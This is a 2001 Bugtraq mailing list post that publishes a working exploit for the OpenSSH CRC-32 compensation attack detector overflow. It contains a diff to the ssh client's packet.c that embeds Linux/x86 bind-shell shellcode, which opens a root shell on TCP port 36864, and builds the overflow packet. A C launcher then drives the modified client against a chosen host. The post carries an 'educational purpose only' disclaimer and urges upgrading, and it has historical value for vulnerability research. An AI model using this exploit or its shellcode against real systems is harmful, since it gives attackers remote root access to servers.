Bugtraq mailing list archives

SSH CRC-32 Compensation Attack Detector Vulnerability Exploit


From: Hugo Dias <bsphere () CLIX PT>
Date: Wed, 21 Feb 2001 06:38:15 -0000

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is the exploit for the bug in file deattack.c in the portable
version of openssh-2.2.0 (and possible below).

We need to know several numbers for it to work so it's very difficult 
to use the exploit on the wild.

1. We need to know is the EXACT distance of the variable "h" to the 2 
   last bytes of the saved EIP in the stack with an increment of 2 bytes.

2. This is the number that we place instead of the two first bytes.
   (last two bytes are the first two bytes of the address)
   Example : 0x0806d3de   
 We will replace 0x0806 for the address we want, so we will replace
 0xde 0xd3 0x06 0x08 for 0xde 0xd3 0x0f 0x08
 that is the address of the buffer with the shellcode.

3. Packet Length

4. REAL packet length. The shellcode will go in the difference between this
   two lengths,as the sshd server reads 8192(?) bytes at time .

Then we need the host and the port number :) 

Finnaly we kneed a small number that doesn´t cause SEG FAULT.
It doesn´t matter how large is it as long as it doesn't cause any 
segment error.
It can be 0,1,2,3,...

Example :

./xp 30988 0 114200 117280 127.0.0.1 22 3

This works on Linux Mandrake 7.2 using "sshd -d" being debugged with GDB,
but it's possible to attach a SSHD child with GDB and find the numbers we 
need for this to work with the daemon.If the SSHD child doesn't SEG FAULT
in the beggining (we can do that easily by trying a few numbers) it will
take more than 10 seconds to process the packet and that is sufficient to
attach the process without changing its code and put a "sleep(15)" in it.

We need to be root :) for doing this ...
Finding the numbers we need without being root is very difficult.
And without no access to any user in the system at all its even more difficult.
This addresses changes with the plataform,operating system,packet length...

BUT its possible to do it (pheraps by reproducing exactly the victim environment)
and thats why i wrote this.

So as allways : "Please upgrade your software"

Get the last version of OpenSSH from : 

http://www.openssh.com


- ------------------------------------------------------------------------------------
I used a modified version of the openssh-2.3.0 (portable) SSH to produce the packet.

THIS FILES ARE FOR EDUCATIONAL PURPOSE ONLY.

Diff file to modify an ssh client for using it with the exploit :
- ------------------------------------------------------------------------------------

- --- packet.c Sat Oct 14 06:23:12 2000
+++ packet.c Tue Feb 20 09:33:00 2001
@@ -68,6 +68,85 @@
 #define DBG(x)
 #endif
 
+
+/*
+ *  Linux/x86
+ *  TCP/36864 portshell (old, could be optimized further)
+ */
+
+char shellcode[] = /* anathema <anathema () hack co za> */
+/* main: */
+"\xeb\x72"                                /* jmp callz               */
+/* start: */
+"\x5e"                                    /* popl %esi               */
+
+  /* socket() */
+"\x29\xc0"                                /* subl %eax, %eax         */
+"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
+"\x40"                                    /* incl %eax               */
+"\x89\xc3"                                /* movl %eax, %ebx         */
+"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
+"\x40"                                    /* incl %eax               */
+"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
+"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
+"\xb0\x66"                                /* movb $0x66, %al         */
+"\xcd\x80"                                /* int $0x80               */
+
+  /* bind() */
+"\x43"                                    /* incl %ebx               */
+"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
+"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
+"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
+"\x29\xc0"                                /* subl %eax, %eax         */
+"\x89\xc2"                                /* movl %eax, %edx         */
+"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
+"\xb0\x90"                                /* movb $0x90, %al         */
+"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
+"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
+"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
+"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
+"\xb0\x66"                                /* movb $0x66, %al         */
+"\xcd\x80"                                /* int $0x80               */
+
+  /* listen() */
+"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
+"\x43"                                    /* incl %ebx               */
+"\x43"                                    /* incl %ebx               */
+"\xb0\x66"                                /* movb $0x66, %al         */
+"\xcd\x80"                                /* int $0x80               */
+
+  /* accept() */
+"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
+"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
+"\xb0\x66"                                /* movb $0x66, %al         */
+"\x43"                                    /* incl %ebx               */
+"\xcd\x80"                                /* int $0x80               */
+
+  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
+"\x86\xc3"                                /* xchgb %al, %bl          */
+"\xb0\x3f"                                /* movb $0x3f, %al         */
+"\x29\xc9"                                /* subl %ecx, %ecx         */
+"\xcd\x80"                                /* int $0x80               */
+"\xb0\x3f"                                /* movb $0x3f, %al         */
+"\x41"                                    /* incl %ecx               */
+"\xcd\x80"                                /* int $0x80               */
+"\xb0\x3f"                                /* movb $0x3f, %al         */
+"\x41"                                    /* incl %ecx               */
+"\xcd\x80"                                /* int $0x80               */
+
+  /* execve() */
+"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
+"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
+"\x87\xf3"                                /* xchgl %esi, %ebx        */
+"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
+"\xb0\x0b"                                /* movb $0x0b, %al         */
+"\xcd\x80"                                /* int $0x80               */
+
+/* callz: */
+"\xe8\x89\xff\xff\xff"                    /* call start              */
+"/bin/sh";
+
+
 /*
  * This variable contains the file descriptors used for communicating with
  * the other side.  connection_in is used for reading; connection_out for
@@ -125,6 +204,9 @@
 /* Session key information for Encryption and MAC */
 Kex *kex = NULL;
 
+/* Packet Number */
+int count = 0;
+
 void
 packet_set_kex(Kex *k)
 {
@@ -461,6 +543,8 @@
  unsigned int checksum;
  u_int32_t rand = 0;
 
+ count++;
+
  /*
   * If using packet compression, compress the payload of the outgoing
   * packet.
@@ -1172,7 +1256,64 @@
 void
 packet_write_poll()
 {
- - int len = buffer_len(&output);
+ int len;
+ char buf[50],*p,*ptr;
+ char code[270000];
+ long sz;
+ FILE *f; 
+
+ if (count == 2)
+ {
+  f = fopen("/tmp/code","r");
+  fgets(buf,28,f); 
+  fclose(f);  
+
+  sz = GET_32BIT(&buf[24]);
+  buffer_clear(&output);
+  buffer_append(&output,code,sz); 
+ 
+  len = buffer_len(&output);
+
+    ptr = buffer_ptr(&output); 
+
+  for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
+  {
+  *p=buf[0];
+  *(p+1)=buf[1];
+  *(p+2)=buf[2];
+  *(p+3)=buf[3];
+  *(p+4)=buf[4];
+  *(p+5)=buf[5];
+  *(p+6)=buf[6];
+  *(p+7)=buf[7];
+  }
+
+  sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
+
+  for(p = p ; p < ptr + sz ; p+=8)
+  {
+  *p=buf[8];
+  *(p+1)=buf[9];
+  *(p+2)=buf[10];
+  *(p+3)=buf[11];
+  *(p+4)=buf[12];
+  *(p+5)=buf[13];
+  *(p+6)=buf[14];
+  *(p+7)=buf[15];
+  }
+
+  sz = len - GET_32BIT(&buf[20]);
+ 
+  memset(p,'\x90',sz);
+  memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
+  memcpy(ptr,&buf[20],4); 
+
+  count++;
+ }
+
+ len = buffer_len(&output);
+
+
  if (len > 0) {
   len = write(connection_out, buffer_ptr(&output), len);
   if (len <= 0) {
@@ -1299,3 +1440,4 @@
  max_packet_size = s;
  return s;
 }
+

- ------------------------------------------------------------------------------------

/* 

THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

BlackSphere - Hugo Oliveira Dias
Tue Feb 20 16:18:00 2001

Email: bsphere () clix pt
Homepage: http://planeta.clix.pt/bsphere

Exploit code for using the modified ssh

*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Path to modified ssh */
#define PATH_SSH "./ssh"

int main(int argc,char *argv[])
{
 int f;
 int port;
 unsigned long addr,*ptr;
 char *buffer,*aux,ch,*ssh;
 int i;

 if (argc < 8)
 {
  printf("\nUsage : %s <saved eip> <count> <packet length> <username length> <host> \
<port> <h(i)>\n\n",argv[0]);
 
  fflush(stdout);
  _exit(0);
 }

 port=atoi(argv[6]);

 buffer = (char *) malloc(29);

 ptr = (unsigned long *) buffer;

 *(ptr++) = 1543007393 + strtoul(argv[1],0,10);
 *(ptr++) = 0;
 *(ptr++) = strtoul(argv[7],0,10);
 *(ptr++) = 0;
 *(ptr++) = 16520 + strtoul(argv[2],0,10);
 *(ptr++) = strtoul(argv[3],0,10);
 *(ptr++) = strtoul(argv[4],0,10);

 buffer[29]=0;

 for(i = 0 ; i < 27 ; i+=4)
 {
  aux = buffer + i;
  ch=*aux;
  *aux=*(aux+3);
  *(aux+3)=ch;
  ch=*(aux+1);
  *(aux+1)=*(aux+2);
  *(aux+2)=ch; 
 } 

 printf("\nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
 printf("\nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
 printf("\nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
 printf("\nUsername Length : %u\n\n",strtoul(argv[4],0,10));
 fflush(stdout);
 

 f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
 write(f,buffer,28);
 close(f);

 ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));

 strcpy(ssh,PATH_SSH);

 sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
 
 printf("%s\n",ssh);

 system(ssh);

 _exit(0); 
}

- ------------------------------------------------------------------------------------

BlackSphere - Hugo Oliveira Dias - 20 Fev 2001

Email: bsphere () clix pt
Homepage: http://planeta.clix.pt/bsphere

- ------------------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBOpK/xBmmBmSsB+85EQLAWACgzdeSqpGTpz+TklsupMD5/KUCt6UAn248
J2jw4HBHgb7MHR/vfYqMDY3l
=OD22
-----END PGP SIGNATURE-----


Current thread: